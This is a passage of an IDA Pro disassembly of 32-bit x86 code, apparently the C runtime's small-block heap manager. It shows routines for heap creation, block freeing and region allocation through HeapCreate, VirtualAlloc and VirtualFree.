		mov	[ecx], bl
		jmp	short loc_4CBE94
; ---------------------------------------------------------------------------


loc_4CBE93:				; CODE XREF: sub_4CBD81+10Cj
		inc	ecx


loc_4CBE94:				; CODE XREF: sub_4CBD81+110j
		cmp	[ecx], bl
		jnz	short loc_4CBE8A


loc_4CBE98:				; CODE XREF: sub_4CBD81+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_4CDEBE
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_4CBEC6
		cmp	eax, 3
		jz	short loc_4CBEC6
		cmp	eax, 1
		jz	short loc_4CBEC6


loc_4CBEB3:				; CODE XREF: sub_4CBD81+5Cj
					; sub_4CBD81+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4CBD54
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_4CBEC6:				; CODE XREF: sub_4CBD81+3Ej
					; sub_4CBD81+126j ...
		pop	ebx
		leave
		retn
sub_4CBD81	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CBEC9	proc near		; CODE XREF: start+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4ED160	; HeapCreate
		test	eax, eax
		mov	dword_4F5F00, eax
		jz	short loc_4CBF1F
		call	sub_4CBD81
		cmp	eax, 3
		mov	dword_4F5F04, eax
		jnz	short loc_4CBF05
		push	3F8h
		call	___sbh_heap_init_0
		pop	ecx
		jmp	short loc_4CBF0F
; ---------------------------------------------------------------------------


loc_4CBF05:				; CODE XREF: sub_4CBEC9+2Dj
		cmp	eax, 2
		jnz	short loc_4CBF22
		call	sub_4CCBF9


loc_4CBF0F:				; CODE XREF: sub_4CBEC9+3Aj
		test	eax, eax
		jnz	short loc_4CBF22
		push	dword_4F5F00
		call	dword_4ED164	; HeapDestroy


loc_4CBF1F:				; CODE XREF: sub_4CBEC9+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4CBF22:				; CODE XREF: sub_4CBEC9+3Fj
					; sub_4CBEC9+48j
		push	1
		pop	eax
		retn
sub_4CBEC9	endp

; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER_0.	PRESS KEYPAD "+" TO EXPAND]
; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE_0. PRESS KEYPAD "+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init_0. PRESS	KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block_0. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC125	proc near		; CODE XREF: sub_4CA2FB+23p
					; sub_4CEEC3+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_4CC449
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_4CC1FB
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_4CC189
		push	3Fh
		pop	edx


loc_4CC189:				; CODE XREF: sub_4CC125+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4CC1DD
		cmp	edx, 20h
		jnb	short loc_4CC1B4
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4CC1D5
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4CC1D5
; ---------------------------------------------------------------------------


loc_4CC1B4:				; CODE XREF: sub_4CC125+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4CC1D5
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4CC1D5:				; CODE XREF: sub_4CC125+86j
					; sub_4CC125+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_4CC1E0
; ---------------------------------------------------------------------------


loc_4CC1DD:				; CODE XREF: sub_4CC125+6Aj
		mov	ecx, [ebp+var_4]


loc_4CC1E0:				; CODE XREF: sub_4CC125+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_4CC1FB:				; CODE XREF: sub_4CC125+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_4CC209
		push	3Fh
		pop	edx


loc_4CC209:				; CODE XREF: sub_4CC125+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_4CC2AC
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_4CC22E
		mov	ebx, esi


loc_4CC22E:				; CODE XREF: sub_4CC125+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_4CC240
		mov	edx, esi


loc_4CC240:				; CODE XREF: sub_4CC125+117j
		cmp	ebx, edx
		jz	short loc_4CC2A7
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_4CC28F
		cmp	ebx, 20h
		jnb	short loc_4CC270
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_4CC28F
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_4CC28F
; ---------------------------------------------------------------------------


loc_4CC270:				; CODE XREF: sub_4CC125+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_4CC28F
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_4CC28F:				; CODE XREF: sub_4CC125+128j
					; sub_4CC125+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_4CC2A7:				; CODE XREF: sub_4CC125+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_4CC2AF
; ---------------------------------------------------------------------------


loc_4CC2AC:				; CODE XREF: sub_4CC125+EDj
		mov	ebx, [ebp+arg_0]


loc_4CC2AF:				; CODE XREF: sub_4CC125+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_4CC2BD
		cmp	ebx, edx
		jz	loc_4CC33E


loc_4CC2BD:				; CODE XREF: sub_4CC125+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_4CC33E
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_4CC315
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4CC304
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4CC304:				; CODE XREF: sub_4CC125+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_4CC33E
; ---------------------------------------------------------------------------


loc_4CC315:				; CODE XREF: sub_4CC125+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4CC32B
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_4CC32B:				; CODE XREF: sub_4CC125+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_4CC33E:				; CODE XREF: sub_4CC125+192j
					; sub_4CC125+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_4CC449
		mov	eax, dword_4F5EF0
		test	eax, eax
		jz	loc_4CC43B
		mov	ecx, dword_4F5EE8
		mov	esi, dword_4ED15C
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_4F5EE8
		mov	eax, dword_4F5EF0
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4F5EF0
		mov	ecx, dword_4F5EE8
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4F5EF0
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4F5EF0
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_4CC3CC
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4F5EF0


loc_4CC3CC:				; CODE XREF: sub_4CC125+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_4CC43B
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_4F5EF0
		push	dword ptr [eax+10h]
		push	0
		push	dword_4F5F00
		call	dword_4ED188	; RtlFreeHeap
		mov	eax, dword_4F5EF4
		mov	edx, dword_4F5EF8
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4F5EF0
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx		; Size
		lea	ecx, [eax+14h]
		push	ecx		; Src
		push	eax		; Dst
		call	_memcpy_2
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4F5EF4
		cmp	eax, dword_4F5EF0
		jbe	short loc_4CC431
		sub	[ebp+arg_0], 14h


loc_4CC431:				; CODE XREF: sub_4CC125+306j
		mov	eax, dword_4F5EF8
		mov	dword_4F5EEC, eax


loc_4CC43B:				; CODE XREF: sub_4CC125+234j
					; sub_4CC125+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4F5EE8, edi
		mov	dword_4F5EF0, eax


loc_4CC449:				; CODE XREF: sub_4CC125+38j
					; sub_4CC125+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4CC125	endp

; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_0. PRESS KEYPAD "+" TO	EXPAND]
; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region_0. PRESS KEYPAD "+" TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group_0.	PRESS KEYPAD "+" TO EXPAND]
; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block_0. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4CCBF9	proc near		; CODE XREF: sub_4CBEC9+41p
					; sub_4CCEF1:loc_4CD0C0p
		cmp	dword_4EF768, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_4CCC0D
		mov	esi, offset off_4EF758
		jmp	short loc_4CCC2A
; ---------------------------------------------------------------------------


loc_4CCC0D:				; CODE XREF: sub_4CCBF9+Bj
		push	2020h
		push	0
		push	dword_4F5F00
		call	dword_4ED18C	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_4CCD36


loc_4CCC2A:				; CODE XREF: sub_4CCBF9+12j
		mov	ebp, dword_4ED070
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_4CCD1F
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_4CCD11
		mov	eax, offset off_4EF758
		cmp	esi, eax
		jnz	short loc_4CCC89
		cmp	off_4EF758, 0
		jnz	short loc_4CCC79
		mov	off_4EF758, eax


loc_4CCC79:				; CODE XREF: sub_4CCBF9+79j
		cmp	off_4EF75C, 0
		jnz	short loc_4CCC9E
		mov	off_4EF75C, eax
		jmp	short loc_4CCC9E
; ---------------------------------------------------------------------------


loc_4CCC89:				; CODE XREF: sub_4CCBF9+70j
		mov	[esi], eax
		mov	eax, off_4EF75C
		mov	[esi+4], eax
		mov	off_4EF75C, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_4CCC9E:				; CODE XREF: sub_4CCBF9+87j
					; sub_4CCBF9+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_4CCCC0:				; CODE XREF: sub_4CCBF9+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_4CCCC0
		push	ebx		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset_0
		add	esp, 0Ch


loc_4CCCE9:				; CODE XREF: sub_4CCBF9+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_4CCD0D
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_4CCCE9
; ---------------------------------------------------------------------------


loc_4CCD0D:				; CODE XREF: sub_4CCBF9+F7j
		mov	eax, esi
		jmp	short loc_4CCD38
; ---------------------------------------------------------------------------


loc_4CCD11:				; CODE XREF: sub_4CCBF9+63j
		push	8000h
		push	0
		push	edi
		call	dword_4ED15C	; VirtualFree


loc_4CCD1F:				; CODE XREF: sub_4CCBF9+4Bj
		cmp	esi, offset off_4EF758
		jz	short loc_4CCD36
		push	esi
		push	0
		push	dword_4F5F00
		call	dword_4ED188	; RtlFreeHeap


loc_4CCD36:				; CODE XREF: sub_4CCBF9+2Bj
					; sub_4CCBF9+12Cj
		xor	eax, eax


loc_4CCD38:				; CODE XREF: sub_4CCBF9+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4CCBF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CCD3D	proc near		; CODE XREF: sub_4CCD93+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_4ED15C	; VirtualFree
		cmp	off_4F1778, esi
		jnz	short loc_4CCD62
		mov	eax, [esi+4]
		mov	off_4F1778, eax


loc_4CCD62:				; CODE XREF: sub_4CCD3D+1Bj
		cmp	esi, offset off_4EF758
		jz	short loc_4CCD8A
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4F5F00
		call	dword_4ED188	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4CCD8A:				; CODE XREF: sub_4CCD3D+2Bj
		or	dword_4EF768, 0FFFFFFFFh
		pop	esi
		retn
sub_4CCD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CCD93	proc near		; CODE XREF: sub_4CCEAC+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_4EF75C
		push	edi


loc_4CCDA0:				; CODE XREF: sub_4CCD93+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_4CCE3E
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_4CCDB9:				; CODE XREF: sub_4CCD93+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_4CCDFA
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_4ED15C	; VirtualFree
		test	eax, eax
		jz	short loc_4CCDFA
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4F4C48
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_4CCDEF
		cmp	eax, edi
		jbe	short loc_4CCDF2


loc_4CCDEF:				; CODE XREF: sub_4CCD93+56j
		mov	[esi+0Ch], edi


loc_4CCDF2:				; CODE XREF: sub_4CCD93+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_4CCE07


loc_4CCDFA:				; CODE XREF: sub_4CCD93+2Cj
					; sub_4CCD93+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_4CCDB9


loc_4CCE07:				; CODE XREF: sub_4CCD93+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_4CCE3E
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_4CCE3E
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_4CCE1E:				; CODE XREF: sub_4CCD93+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_4CCE2F
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_4CCE1E


loc_4CCE2F:				; CODE XREF: sub_4CCD93+8Ej
		cmp	edx, 400h
		jnz	short loc_4CCE3E
		push	ecx
		call	sub_4CCD3D
		pop	ecx


loc_4CCE3E:				; CODE XREF: sub_4CCD93+11j
					; sub_4CCD93+7Dj ...
		cmp	esi, off_4EF75C
		jz	short loc_4CCE50
		cmp	[ebp+arg_0], 0
		jg	loc_4CCDA0


loc_4CCE50:				; CODE XREF: sub_4CCD93+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4CCD93	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CCE55	proc near		; CODE XREF: sub_4CA2FB+3Ap
					; sub_4CEEC3+173p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_4EF758
		push	esi
		mov	ecx, edx


loc_4CCE61:				; CODE XREF: sub_4CCE55+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_4CCE6B
		cmp	eax, [ecx+14h]
		jb	short loc_4CCE73


loc_4CCE6B:				; CODE XREF: sub_4CCE55+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_4CCEA8
		jmp	short loc_4CCE61
; ---------------------------------------------------------------------------


loc_4CCE73:				; CODE XREF: sub_4CCE55+14j
		test	al, 0Fh
		jnz	short loc_4CCEA8
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_4CCEA8
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_4CCEA8:				; CODE XREF: sub_4CCE55+1Aj
					; sub_4CCE55+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_4CCE55	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CCEAC	proc near		; CODE XREF: sub_4CA2FB+4Dp
					; sub_4CEEC3+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_4CCEF0
		inc	dword_4F4C48
		cmp	dword_4F4C48, 20h
		jnz	short locret_4CCEF0
		push	10h
		call	sub_4CCD93
		pop	ecx

locret_4CCEF0:				; CODE XREF: sub_4CCEAC+2Bj
					; sub_4CCEAC+3Aj
		retn
sub_4CCEAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CCEF1	proc near		; CODE XREF: sub_4CA24A+5Fp
					; sub_4CA3A2+4Ap ...

Val		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_4F1778
		push	edi


loc_4CCEFF:				; CODE XREF: sub_4CCEF1+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_4CCFAA
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_4CCF64


loc_4CCF2A:				; CODE XREF: sub_4CCEF1+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_4CCF4D
		cmp	[edi+4], ebx
		jbe	short loc_4CCF4D
		push	ebx
		push	ecx
		push	eax
		call	sub_4CD0F9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4CCFBC
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_4CCF4D:				; CODE XREF: sub_4CCEF1+40j
					; sub_4CCEF1+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_4CCF2A
		jmp	short loc_4CCF67
; ---------------------------------------------------------------------------


loc_4CCF64:				; CODE XREF: sub_4CCEF1+37j
		mov	ebx, [ebp+arg_0]


loc_4CCF67:				; CODE XREF: sub_4CCEF1+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+Val], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_4CCFAD


loc_4CCF7A:				; CODE XREF: sub_4CCEF1+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_4CCF99
		cmp	[edi+4], ebx
		jbe	short loc_4CCF99
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_4CD0F9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4CCFBC
		mov	[edi+4], ebx


loc_4CCF99:				; CODE XREF: sub_4CCEF1+8Dj
					; sub_4CCEF1+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+Val]
		jb	short loc_4CCF7A
		jmp	short loc_4CCFAD
; ---------------------------------------------------------------------------


loc_4CCFAA:				; CODE XREF: sub_4CCEF1+14j
		mov	ebx, [ebp+arg_0]


loc_4CCFAD:				; CODE XREF: sub_4CCEF1+87j
					; sub_4CCEF1+B7j
		mov	esi, [esi]
		cmp	esi, off_4F1778
		jz	short loc_4CCFCC
		jmp	loc_4CCEFF
; ---------------------------------------------------------------------------


loc_4CCFBC:				; CODE XREF: sub_4CCEF1+54j
					; sub_4CCEF1+A3j
		mov	off_4F1778, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_4CD0F4
; ---------------------------------------------------------------------------


loc_4CCFCC:				; CODE XREF: sub_4CCEF1+C4j
		mov	eax, offset off_4EF758
		mov	edi, eax


loc_4CCFD3:				; CODE XREF: sub_4CCEF1+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_4CCFDF
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_4CCFEB


loc_4CCFDF:				; CODE XREF: sub_4CCEF1+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_4CD0C0
		jmp	short loc_4CCFD3
; ---------------------------------------------------------------------------


loc_4CCFEB:				; CODE XREF: sub_4CCEF1+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_4CD01A


loc_4CD009:				; CODE XREF: sub_4CCEF1+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_4CD01A
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4CD009


loc_4CD01A:				; CODE XREF: sub_4CCEF1+116j
					; sub_4CCEF1+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+Val], eax
		call	dword_4ED070	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_4CD0F2
		push	0		; Size
		push	[ebp+Val]	; Val
		push	esi		; Dst
		call	_memset_0
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_4CD081
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_4CD057:				; CODE XREF: sub_4CCEF1+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_4CD057


loc_4CD081:				; CODE XREF: sub_4CCEF1+15Ej
		mov	off_4F1778, edi
		lea	eax, [edi+2018h]


loc_4CD08D:				; CODE XREF: sub_4CCEF1+1A8j
		cmp	ecx, eax
		jnb	short loc_4CD09D
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_4CD09B
		add	ecx, 8
		jmp	short loc_4CD08D
; ---------------------------------------------------------------------------


loc_4CD09B:				; CODE XREF: sub_4CCEF1+1A3j
		cmp	ecx, eax


loc_4CD09D:				; CODE XREF: sub_4CCEF1+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_4CD0F4
; ---------------------------------------------------------------------------


loc_4CD0C0:				; CODE XREF: sub_4CCEF1+F2j
		call	sub_4CCBF9
		test	eax, eax
		jz	short loc_4CD0F2
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_4F1778, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_4CD0F4
; ---------------------------------------------------------------------------


loc_4CD0F2:				; CODE XREF: sub_4CCEF1+143j
					; sub_4CCEF1+1D6j
		xor	eax, eax


loc_4CD0F4:				; CODE XREF: sub_4CCEF1+D6j
					; sub_4CCEF1+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4CCEF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CD0F9	proc near		; CODE XREF: sub_4CCEF1+4Ap
					; sub_4CCEF1+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
